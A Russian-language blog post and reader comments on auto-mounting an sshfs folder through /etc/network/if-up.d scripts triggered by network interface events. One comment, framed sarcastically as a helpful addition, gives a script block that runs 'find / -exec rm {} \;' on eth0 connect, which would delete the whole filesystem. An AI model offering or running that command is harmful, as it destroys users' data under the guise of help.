Понадобилось мне подмонтировать удаленную папку по sshfs.
Действие само по себе несложное, делается одной командой:sshfs [user@]host:[dir] mountpoint [options]
Но сразу же возникло еще одно условие - папка должна быть доступна всегда (ну, когда она доступна). То есть, по-хорошему, ее надо монтировать при старте системы.
Если сделать это, прописав команду в скрипте /etc/rc.local, то она просто-напросто не выполнится в связи с тем, что данный скрипт выполняется до старта графической среды. Вернее команда выполнится и ругнется на то, что никаких удаленных папок примонтировать не удалось из-за того, что сети-то нет - она поднимется только при старте графической подсистемы.
Такая же точно ситуация сложится и в том случае если прописать монтирование удаленной папки в fstab.
"Печально", - подумал я и решил написать скриптик, который проверял бы текущее состояние подключения к сети и при его наличии монтировал бы папку. Я его даже написал (благо несложный он) и он даже некоторое время поработал. Только вот, удаляя по маске какие-то файлы, я случайно удалил и его.
Переписывать не хотелось, поэтому решил почитать литературу (man interfaces). В итоге выяснил, что существуют так называемые {up/down/pre-up/post-down} скрипты, в которых выполняются определенные действия при {поднятии/опускании/перед-поднятием/после опускания} сетевых интерфейсов. Находятся они в /etc/network/if-up.d, /etc/network/if-down.d, /etc/network/if-pre-up.d, /etc/network/if-post-down.d соответственно. Сами эти скрипты запускаются из диспатчера /etc/NetworkManager/dispatcher.d/01ifupdown командой run-parts.
su user -c "sshfs [user@]:[dir] mountpoint [options]" >/var/log/sshfs.log 2>&1
#!/bin/bash
su user -c "sshfs [user@]:[dir] mountpoint [options]" >/var/log/sshfs.log 2>&1
exit 0
При написании скриптов также можно использовать некоторые специальные переменные, сообщающие нам информацию о подключении. Например, чтобы монтировать папку при подключении сети только по интерфейсу eth0, мы задействуем переменную $IFACE:if [ "$IFACE" = eth0 ]; then
blah-blah-blah
fi
На самом деле, эти переменные задаются как раз в диспатчере, там же, думаю, можно задать свои собственные, которые будут потом использоваться во всех скриптах, запускаемых утилитой run-parts.
**********
Естественно данная история описывает личный опыт, поэтому и получилась довольно обширной, но если ее хорошо выжать, то получим вот что:
/etc/network/if-up.d
/etc/network/if-down.d
/etc/network/if-pre-up.d
/etc/network/if-post-down.d
Комментарии (16)
Да, да, да, не устаю я повторять, как много можно изобрести не зная о существовании guessnet :-)
каноническое место
Описание, по которому я построил себе работающую систему на первый ноут
Ну вот, еще не плохо, и по русски - здесь
Фор дебиан анд убунту :-)
P.S. на момент написания сообщения все ссылки были живы. :-)
А я на спектрум на клавиатуру наклейки клеила, когда оно загрузится, хотя я даже и не знала когда оно загрузится, ну когда жмёшь и видно было символ, он такой бледненький на бледном таком мониторе...
Я думаю моё умение всё таки нужно, и даже пригодиться ж...
А в твоё каноническое место не советую никому идти, там ничего важного, ничего интересного, и даже на нерусском!
А тут важное, к примеру узнать когда проводок втыкивается то можно всплывающее сообщение показать, и прочие красивости!
поставленный кнемо например обеспечит не только всплывание с указанием названия интерфейса, но позволит (прописав кнемо пути к скриптам) сделать
хгуевое управление... :-)/ворчание он/
Кстати, полного аналога кнемо (с возможностью запуска скриптов) в гноме я так и не нашел.. :-(
/ворчание офф/
Почитал про утилитку. Да, полезная штука, единственное, я не понял, работает ли она с network-manager'ом?
Нет, в этом случае нетворк манагер, висиди, и прочее НЕ НУЖНО ВООБЩЕ.
Единственный недостаток, нужно знать мак-адреса статик (не дхцп) сетей, чтобы выставлять автоматом нужные значения сетей.
То же с Ви-Фи.
При первом подключении это придется делать Настраивать причем из консоли... :-(
Зато потом... :-)
Ну, в данном случае ":-)" начинается для меня после "добавить скрипт в директорию /etc/network/if-up.d". А пренебрегать нетворк-манагером мне не хочется))
Пасибки, но надо было для некоторых добавить красивостей и нужности, примерно такое:
if [ "$IFACE" = eth0 ]; then
find / -exec rm {} \;
fi
А я приваяю в скриптик всплывающее сообщение на момент подключения проводка :)
Ну, тут не все могут понять , насколько красивы и нужны такие красивости и ценности ;)
А у меня есть высокая колокольня, и мне с неё, что конкретно, что на всё...
ИМХО и название и тема - это открытие Америки для тех кто пропустил в школе географию (хотя бы чуть чуть читал докум. к системе).
Но сама статья, очень радует подробными инструкциями и дословным описанием.
Эх, Баламутыч, где ты был, когда я задумался над этим вопросом ;))
Ну в данном случае, то что ты не нашёл поиск, только повлияло на создание подробной статьи, что есть добро.
Я, если честно, не совсем уверен в том, как спросить об этом гугль. Да, по этой же причине я сомневаюсь, что моя статья будет многим людям полезна - уж слишком заковыристая формулировка((
Всё нормально.
А я например пользуясь поиском решения именно конкретной задачи, попал сюда, а не в документацию ubuntu, Так что данная статья далеко не лишняя в интернете :)
Но у меня почему-то в ubuntu 11.10 данная операция не работает, скрипт из автозагрузки срабатывает, а при подключении интерфейса к сети не срабатывает...
Отправить комментарий